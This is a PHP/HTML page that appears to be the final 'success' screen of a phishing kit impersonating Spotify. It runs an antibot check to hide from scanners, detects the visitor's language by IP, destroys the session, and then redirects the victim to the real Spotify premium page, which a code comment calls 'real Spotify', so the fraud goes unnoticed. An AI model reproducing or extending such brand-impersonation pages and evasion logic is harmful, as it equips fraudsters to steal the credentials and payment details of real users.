<?php
define('APP_ACCESS', true);
require_once __DIR__ . '/../config/config.php';
require_once __DIR__ . '/../includes/functions.php';
require_once __DIR__ . '/../includes/LanguageManager.php';
require_once __DIR__ . '/../includes/security/advanced-protection.php';

// Start session
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

// Run advanced antibot protection
$advancedProtection = new AdvancedProtection();
$advancedProtection->runAllChecks();

// Initialize language manager with IP detection before destroying session
$detectedLang = detectLanguage();
$langManager = getLangManager($detectedLang);
$currentLang = $detectedLang;

// Clear session
session_destroy();
?>
<!DOCTYPE html>
<html lang="<?php echo $detectedLang; ?>" dir="ltr">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Spotify - Success</title>
    <link rel="icon" href="https://www.scdn.co/i/_global/favicon.png">
    <meta name="robots" content="noindex">
    <style>
        * { box-sizing: border-box; margin: 0; padding: 0; }
        body { 
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif; 
            background: linear-gradient(135deg, #1ed760 0%, #1db954 100%);
            color: #fff; 
            min-height: 100vh; 
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 20px;
        }
        
        .success-container {
            text-align: center;
            max-width: 500px;
        }
        
        .success-icon {
            width: 100px;
            height: 100px;
            margin: 0 auto 32px;
            background-color: #fff;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            animation: scaleIn 0.5s ease-out;
        }
        
        .success-icon svg {
            width: 60px;
            height: 60px;
            color: #1ed760;
        }
        
        @keyframes scaleIn {
            0% { transform: scale(0); }
            50% { transform: scale(1.1); }
            100% { transform: scale(1); }
        }
        
        h1 {
            font-size: 48px;
            font-weight: 700;
            margin-bottom: 16px;
            animation: fadeInUp 0.6s ease-out 0.2s both;
        }
        
        p {
            font-size: 18px;
            line-height: 1.6;
            margin-bottom: 32px;
            opacity: 0.9;
            animation: fadeInUp 0.6s ease-out 0.4s both;
        }
        
        @keyframes fadeInUp {
            0% {
                opacity: 0;
                transform: translateY(20px);
            }
            100% {
                opacity: 1;
                transform: translateY(0);
            }
        }
        
        .spinner {
            border: 3px solid rgba(255, 255, 255, 0.3);
            border-top: 3px solid #fff;
            border-radius: 50%;
            width: 40px;
            height: 40px;
            animation: spin 1s linear infinite;
            margin: 0 auto;
        }
        
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        
        .redirect-text {
            font-size: 14px;
            opacity: 0.8;
            margin-top: 24px;
            animation: fadeInUp 0.6s ease-out 0.6s both;
        }
        
        .logo {
            margin-top: 48px;
            opacity: 0.6;
            animation: fadeInUp 0.6s ease-out 0.8s both;
        }
        
        .logo svg {
            height: 40px;
            color: #fff;
        }
    </style>
</head>
<body>
    <div class="success-container">
        <div class="success-icon">
            <svg viewBox="0 0 24 24" fill="currentColor">
                <path d="M9 16.17L4.83 12l-1.42 1.41L9 19 21 7l-1.41-1.41z"/>
            </svg>
        </div>
        
        <h1><?php echo __('success.title'); ?></h1>
        <p><?php echo __('success.message'); ?></p>
        
        <div class="spinner"></div>
        
        <p class="redirect-text"><?php echo __('success.redirect'); ?></p>
        
        <div class="logo">
            <svg role="img" viewBox="0 0 24 24" aria-label="Spotify">
                <path d="M13.427.01C6.805-.253 1.224 4.902.961 11.524.698 18.147 5.853 23.728 12.476 23.99c6.622.263 12.203-4.892 12.466-11.514S20.049.272 13.427.01m5.066 17.579a.717.717 0 0 1-.977.268 14.4 14.4 0 0 0-5.138-1.747 14.4 14.4 0 0 0-5.42.263.717.717 0 0 1-.338-1.392c1.95-.474 3.955-.571 5.958-.29 2.003.282 3.903.928 5.647 1.92a.717.717 0 0 1 .268.978m1.577-3.15a.93.93 0 0 1-1.262.376 17.7 17.7 0 0 0-5.972-1.96 17.7 17.7 0 0 0-6.281.238.93.93 0 0 1-1.11-.71.93.93 0 0 1 .71-1.11 19.5 19.5 0 0 1 6.94-.262 19.5 19.5 0 0 1 6.599 2.165c.452.245.62.81.376 1.263m1.748-3.551a1.147 1.147 0 0 1-1.546.488 21.4 21.4 0 0 0-6.918-2.208 21.4 21.4 0 0 0-7.259.215 1.146 1.146 0 0 1-.456-2.246 23.7 23.7 0 0 1 8.034-.24 23.7 23.7 0 0 1 7.657 2.445c.561.292.78.984.488 1.546" fill="currentColor"/>
            </svg>
        </div>
    </div>
    
    <script>
        // Redirect to real Spotify after 3 seconds
        setTimeout(function() {
            window.location.href = 'https://www.spotify.com/premium';
        }, 3000);
    </script>
</body>
</html>
